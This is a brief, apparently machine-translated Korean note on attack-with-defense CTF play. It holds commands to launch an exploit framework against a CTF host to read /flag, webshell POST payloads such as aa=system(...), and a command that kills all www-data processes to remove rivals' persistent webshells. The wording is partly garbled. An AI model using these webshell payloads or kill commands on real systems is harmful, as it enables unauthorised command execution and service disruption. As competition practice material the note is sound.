AWD 노트

1082 단어
AWD 노트
1. 프레임 공격 스크립트 실행
테스트,공격npc
python run.py -m cqhk_exp2 -l 1 -t ctf.momomoxiaoxi.com:8815

본격 공격
python run.py -m cqhk_exp2 -c 'cat /flag' -c get_flag

2. 말을 죽이지 못한다
  • 일반적인 방법
    chmod 755 css
    cd css
    rm .d0xxxxxx.php & mkdir .doxxxxxx.php
    chmod 777 ../css
    
  • 자신이 말을 심어 www-data 프로세스를 한 후 말을 죽인다
  • ps -ef|grep 'www-data' | awk '{print $2}'| xargs kill -9
    

    불사마 방식:
    웹 셸에 쓰기.php
    
    

    hackbar post
    http://ctf.momomoxiaoxi.com:8802/css/webshell.php
    post 매개 변수:
    테스트:
    aa=system("ls");
    

    공식:
    aa=system("ps -ef|grep 'www-data' | awk '{print $2}'| xargs kill -9");
    

    3. 아파치 시작
    /usr/sbin/apache2 -k start
    

    공구
    postman, hackbar
    mamp,mac 버전 php+mysql 관리 도구
    transmit,mac 버전 ftp 도구
    burpsuite, 플러그인 Reissue Request Scripter

    좋은 웹페이지 즐겨찾기